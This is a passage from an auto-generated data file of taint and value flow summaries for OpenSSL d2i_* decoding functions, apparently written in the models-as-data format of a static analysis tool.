"(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressChoice", "(IPAddressChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressFamily", "(IPAddressFamily **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressOrRange", "(IPAddressOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_IPAddressRange", "(IPAddressRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUER_SIGN_TOOL", "(ISSUER_SIGN_TOOL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ISSUING_DIST_POINT", "(ISSUING_DIST_POINT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams", "(int,EVP_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_KeyParams_bio", "(int,EVP_PKEY **,BIO *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - 